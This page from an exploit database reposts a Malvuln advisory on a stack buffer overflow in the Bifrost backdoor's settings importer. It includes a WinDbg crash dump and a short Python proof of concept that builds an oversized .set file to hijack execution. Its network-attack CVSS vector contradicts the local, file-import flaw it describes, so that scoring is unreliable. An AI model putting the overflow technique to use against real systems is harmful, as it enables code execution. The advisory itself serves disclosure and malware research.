Exploitalert - Database of Exploits

Backdoor.Win32.Bifrose.acci / Local Stack Buffer Overflow

CVE	Category	Price	Severity
N/A	CWE-121	N/A	High

Author	Risk	Exploitation Type	Date
N/A	High	Local	2021-07-27

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H	0.00523	0.78774

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2021070148

Backdoor.Win32.Bifrose.acci / Local Stack Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/611dbff0d68df777c6d6881e00440143.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.Bifrose.acci Vulnerability: Local Stack Buffer Overflow Description: Bifrost doesn't properly validate the IP address when importing Bifrost settings (.set) files. The IP address offset is located after a NULL byte which is preceded by the Bifrost file header "BifrostSettings". A corrupted Bifrost .set file containing an invalid IP address of about 2300 bytes will trigger a local stack buffer overflow overwriting the EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution. Type: PE32 MD5: 611dbff0d68df777c6d6881e00440143 Vuln ID: MVID-2021-0308 ASLR: False DEP: False Safe SEH: True Disclosure: 07/26/2021 Memory Dump: (12b0.7f8): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=00186a30 edx=002db000 esi=00000003 edi=00000003 eip=7777ed3c esp=00184d00 ebp=00184e90 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200216 ntdll!ZwWaitForMultipleObjects+0xc: 7777ed3c c21400 ret 14h 0:000> .ecxr eax=41414141 ebx=00186a30 ecx=00186a30 edx=002db000 esi=00186a30 edi=00000000 eip=0044d008 esp=0018563c ebp=00185680 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202 *** WARNING: Unable to verify checksum for Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x4d008: 0044d008 ff90f4000000 call dword ptr [eax+0F4h] ds:002b:41414235=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008 0044d008 ff90f4000000 call dword ptr [eax+0F4h] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0044d008 (Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x0004d008) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414235 Attempt to read from address 41414235 PROCESS_NAME: Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414235 READ_ADDRESS: 41414235 FOLLOWUP_IP: Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008 0044d008 ff90f4000000 call dword ptr [eax+0F4h] MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 FAULTING_THREAD: 000007f8 BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 004044aa to 0044d008 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 00185680 004044aa 00000000 001862b0 004029b1 Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x4d008 0018568c 004029b1 bb58b0d6 00186884 0000048c Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x44aa 001862b0 00000000 00000000 00000000 00000000 Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+0x29b1 STACK_COMMAND: ~0s; .ecxr ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143 IMAGE_NAME: Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe DEBUG_FLR_IMAGE_TIMESTAMP: 4775164b FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Bifrose.acci.611dbff0d68df777c6d6881e00440143.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_READ_EXPLOITABLE_FILL_PATTERN_41414141_Backdoor_Win32_Bifrose_acci_611dbff0d68df777c6d6881e00440143+4d008 Exploit/PoC: 1) To create the corrupt bifrost .set file you need the "BifrostSettings" header followed by a NULL byte followed by the payload. Otherwise, will get not a valid settings file error. import struct f=open('DOOM.set', 'wb') f.write("BifrostSettings".encode('ascii')) f.write(struct.pack('B', 0)) f.write(str("A"*2300).encode('ascii')) f.close() 2) Go to builder menu item in bifrost, stealth tab 3) Import the corrupt bifrost .set (settings) file. Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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